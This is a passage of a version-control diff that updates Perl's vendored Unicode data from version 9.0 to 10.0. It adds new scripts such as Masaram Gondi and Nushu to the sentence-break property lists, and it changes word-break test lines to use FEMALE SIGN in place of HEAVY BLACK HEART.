 11C00..11C08  ; OLetter # Lo   [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C2E  ; OLetter # Lo  [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
 11C40         ; OLetter # Lo       BHAIKSUKI SIGN AVAGRAHA
 11C72..11C8F  ; OLetter # Lo  [30] MARCHEN LETTER KA..MARCHEN LETTER A
+11D00..11D06  ; OLetter # Lo   [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; OLetter # Lo   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30  ; OLetter # Lo  [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D46         ; OLetter # Lo       MASARAM GONDI REPHA
 12000..12399  ; OLetter # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
 12400..1246E  ; OLetter # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
 12480..12543  ; OLetter # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
@@ -2277,10 +2310,11 @@
 16F00..16F44  ; OLetter # Lo  [69] MIAO LETTER PA..MIAO LETTER HHA
 16F50         ; OLetter # Lo       MIAO LETTER NASALIZATION
 16F93..16F9F  ; OLetter # Lm  [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
-16FE0         ; OLetter # Lm       TANGUT ITERATION MARK
+16FE0..16FE1  ; OLetter # Lm   [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 17000..187EC  ; OLetter # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
 18800..18AF2  ; OLetter # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
-1B000..1B001  ; OLetter # Lo   [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE
+1B000..1B11E  ; OLetter # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2
+1B170..1B2FB  ; OLetter # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
 1BC00..1BC6A  ; OLetter # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
 1BC70..1BC7C  ; OLetter # Lo  [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
 1BC80..1BC88  ; OLetter # Lo   [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
@@ -2323,9 +2357,10 @@
 2A700..2B734  ; OLetter # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
 2B740..2B81D  ; OLetter # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B820..2CEA1  ; OLetter # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+2CEB0..2EBE0  ; OLetter # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
 2F800..2FA1D  ; OLetter # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 
-# Total code points: 113027
+# Total code points: 121354
 
 # ================================================
 
@@ -2379,12 +2414,13 @@
 11730..11739  ; Numeric # Nd  [10] AHOM DIGIT ZERO..AHOM DIGIT NINE
 118E0..118E9  ; Numeric # Nd  [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE
 11C50..11C59  ; Numeric # Nd  [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE
+11D50..11D59  ; Numeric # Nd  [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
 16A60..16A69  ; Numeric # Nd  [10] MRO DIGIT ZERO..MRO DIGIT NINE
 16B50..16B59  ; Numeric # Nd  [10] PAHAWH HMONG DIGIT ZERO..PAHAWH HMONG DIGIT NINE
 1D7CE..1D7FF  ; Numeric # Nd  [50] MATHEMATICAL BOLD DIGIT ZERO..MATHEMATICAL MONOSPACE DIGIT NINE
 1E950..1E959  ; Numeric # Nd  [10] ADLAM DIGIT ZERO..ADLAM DIGIT NINE
 
-# Total code points: 572
+# Total code points: 582
 
 # ================================================
 
@@ -2453,6 +2489,8 @@
 115C9..115D7  ; STerm # Po  [15] SIDDHAM END OF TEXT MARK..SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES
 11641..11642  ; STerm # Po   [2] MODI DANDA..MODI DOUBLE DANDA
 1173C..1173E  ; STerm # Po   [3] AHOM SIGN SMALL SECTION..AHOM SIGN RULAI
+11A42..11A43  ; STerm # Po   [2] ZANABAZAR SQUARE MARK SHAD..ZANABAZAR SQUARE MARK DOUBLE SHAD
+11A9B..11A9C  ; STerm # Po   [2] SOYOMBO MARK SHAD..SOYOMBO MARK DOUBLE SHAD
 11C41..11C42  ; STerm # Po   [2] BHAIKSUKI DANDA..BHAIKSUKI DOUBLE DANDA
 16A6E..16A6F  ; STerm # Po   [2] MRO DANDA..MRO DOUBLE DANDA
 16AF5         ; STerm # Po       BASSA VAH FULL STOP
@@ -2461,7 +2499,7 @@
 1BC9F         ; STerm # Po       DUPLOYAN PUNCTUATION CHINOOK FULL STOP
 1DA88         ; STerm # Po       SIGNWRITING FULL STOP
 
-# Total code points: 121
+# Total code points: 125
 
 # ================================================
 

Modified: vendor/perl/dist/lib/unicore/auxiliary/WBTest.txt
===================================================================
--- vendor/perl/dist/lib/unicore/auxiliary/WBTest.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/auxiliary/WBTest.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# WordBreakTest-9.0.0.txt
-# Date: 2016-06-02, 18:28:31 GMT
-# © 2016 Unicode®, Inc.
+# WordBreakTest-10.0.0.txt
+# Date: 2017-04-14, 05:40:44 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -7,17 +7,18 @@
 # Unicode Character Database
 #   For documentation, see http://www.unicode.org/reports/tr44/
 #
-# Default Word Break Test
+# Default Word_Break Test
 #
 # Format:
-# <string> (# <comment>)? 
-#  <string> contains hex Unicode code points, with 
-#	÷ wherever there is a break opportunity, and 
+# <string> (# <comment>)?
+#  <string> contains hex Unicode code points, with
+#	÷ wherever there is a break opportunity, and
 #	× wherever there is not.
 #  <comment> the format can change, but currently it shows:
 #	- the sample character name
 #	- (x) the Word_Break property value for the sample character
-#	- [x] the rule that determines whether there is a break or not
+#	- [x] the rule that determines whether there is a break or not,
+#	   as listed in the Rules section of WordBreakTest.html
 #
 # These samples may be extended or changed in the future.
 #
@@ -55,8 +56,8 @@
 ÷ 0001 × 0308 ÷ 261D ÷	#  ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 0001 ÷ 1F3FB ÷	#  ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0001 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 0001 ÷ 2764 ÷	#  ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0001 × 0308 ÷ 2764 ÷	#  ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0001 ÷ 2640 ÷	#  ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0001 × 0308 ÷ 2640 ÷	#  ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0001 ÷ 1F466 ÷	#  ÷ [0.2] <START OF HEADING> (Other) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0001 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] <START OF HEADING> (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0001 × 00AD ÷	#  ÷ [0.2] <START OF HEADING> (Other) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -117,8 +118,8 @@
 ÷ 000D ÷ 0308 ÷ 261D ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 000D ÷ 1F3FB ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 000D ÷ 0308 ÷ 1F3FB ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 000D ÷ 2764 ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 000D ÷ 0308 ÷ 2764 ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 000D ÷ 2640 ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 000D ÷ 0308 ÷ 2640 ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 000D ÷ 1F466 ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] BOY (EBG) ÷ [0.3]
 ÷ 000D ÷ 0308 ÷ 1F466 ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 000D ÷ 00AD ÷	#  ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [3.1] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -179,8 +180,8 @@
 ÷ 000A ÷ 0308 ÷ 261D ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 000A ÷ 1F3FB ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 000A ÷ 0308 ÷ 1F3FB ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 000A ÷ 2764 ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 000A ÷ 0308 ÷ 2764 ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 000A ÷ 2640 ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 000A ÷ 0308 ÷ 2640 ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 000A ÷ 1F466 ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] BOY (EBG) ÷ [0.3]
 ÷ 000A ÷ 0308 ÷ 1F466 ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 000A ÷ 00AD ÷	#  ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -241,8 +242,8 @@
 ÷ 000B ÷ 0308 ÷ 261D ÷	#  ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 000B ÷ 1F3FB ÷	#  ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 000B ÷ 0308 ÷ 1F3FB ÷	#  ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 000B ÷ 2764 ÷	#  ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 000B ÷ 0308 ÷ 2764 ÷	#  ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 000B ÷ 2640 ÷	#  ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 000B ÷ 0308 ÷ 2640 ÷	#  ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 000B ÷ 1F466 ÷	#  ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] BOY (EBG) ÷ [0.3]
 ÷ 000B ÷ 0308 ÷ 1F466 ÷	#  ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 000B ÷ 00AD ÷	#  ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -303,8 +304,8 @@
 ÷ 3031 × 0308 ÷ 261D ÷	#  ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 3031 ÷ 1F3FB ÷	#  ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 3031 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 3031 ÷ 2764 ÷	#  ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 3031 × 0308 ÷ 2764 ÷	#  ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 3031 ÷ 2640 ÷	#  ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 3031 × 0308 ÷ 2640 ÷	#  ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 3031 ÷ 1F466 ÷	#  ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 3031 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 3031 × 00AD ÷	#  ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -365,8 +366,8 @@
 ÷ 0041 × 0308 ÷ 261D ÷	#  ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 0041 ÷ 1F3FB ÷	#  ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0041 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 0041 ÷ 2764 ÷	#  ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0041 × 0308 ÷ 2764 ÷	#  ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0041 ÷ 2640 ÷	#  ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0041 × 0308 ÷ 2640 ÷	#  ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0041 ÷ 1F466 ÷	#  ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0041 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0041 × 00AD ÷	#  ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -427,8 +428,8 @@
 ÷ 003A × 0308 ÷ 261D ÷	#  ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 003A ÷ 1F3FB ÷	#  ÷ [0.2] COLON (MidLetter) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 003A × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 003A ÷ 2764 ÷	#  ÷ [0.2] COLON (MidLetter) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 003A × 0308 ÷ 2764 ÷	#  ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 003A ÷ 2640 ÷	#  ÷ [0.2] COLON (MidLetter) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 003A × 0308 ÷ 2640 ÷	#  ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 003A ÷ 1F466 ÷	#  ÷ [0.2] COLON (MidLetter) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 003A × 0308 ÷ 1F466 ÷	#  ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 003A × 00AD ÷	#  ÷ [0.2] COLON (MidLetter) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -489,8 +490,8 @@
 ÷ 002C × 0308 ÷ 261D ÷	#  ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 002C ÷ 1F3FB ÷	#  ÷ [0.2] COMMA (MidNum) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 002C × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 002C ÷ 2764 ÷	#  ÷ [0.2] COMMA (MidNum) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 002C × 0308 ÷ 2764 ÷	#  ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 002C ÷ 2640 ÷	#  ÷ [0.2] COMMA (MidNum) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 002C × 0308 ÷ 2640 ÷	#  ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 002C ÷ 1F466 ÷	#  ÷ [0.2] COMMA (MidNum) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 002C × 0308 ÷ 1F466 ÷	#  ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 002C × 00AD ÷	#  ÷ [0.2] COMMA (MidNum) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -551,8 +552,8 @@
 ÷ 002E × 0308 ÷ 261D ÷	#  ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 002E ÷ 1F3FB ÷	#  ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 002E × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 002E ÷ 2764 ÷	#  ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 002E × 0308 ÷ 2764 ÷	#  ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 002E ÷ 2640 ÷	#  ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 002E × 0308 ÷ 2640 ÷	#  ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 002E ÷ 1F466 ÷	#  ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 002E × 0308 ÷ 1F466 ÷	#  ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 002E × 00AD ÷	#  ÷ [0.2] FULL STOP (MidNumLet) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -613,8 +614,8 @@
 ÷ 0030 × 0308 ÷ 261D ÷	#  ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 0030 ÷ 1F3FB ÷	#  ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0030 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 0030 ÷ 2764 ÷	#  ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0030 × 0308 ÷ 2764 ÷	#  ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0030 ÷ 2640 ÷	#  ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0030 × 0308 ÷ 2640 ÷	#  ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0030 ÷ 1F466 ÷	#  ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0030 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0030 × 00AD ÷	#  ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -675,8 +676,8 @@
 ÷ 005F × 0308 ÷ 261D ÷	#  ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 005F ÷ 1F3FB ÷	#  ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 005F × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 005F ÷ 2764 ÷	#  ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 005F × 0308 ÷ 2764 ÷	#  ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 005F ÷ 2640 ÷	#  ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 005F × 0308 ÷ 2640 ÷	#  ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 005F ÷ 1F466 ÷	#  ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] BOY (EBG) ÷ [0.3]
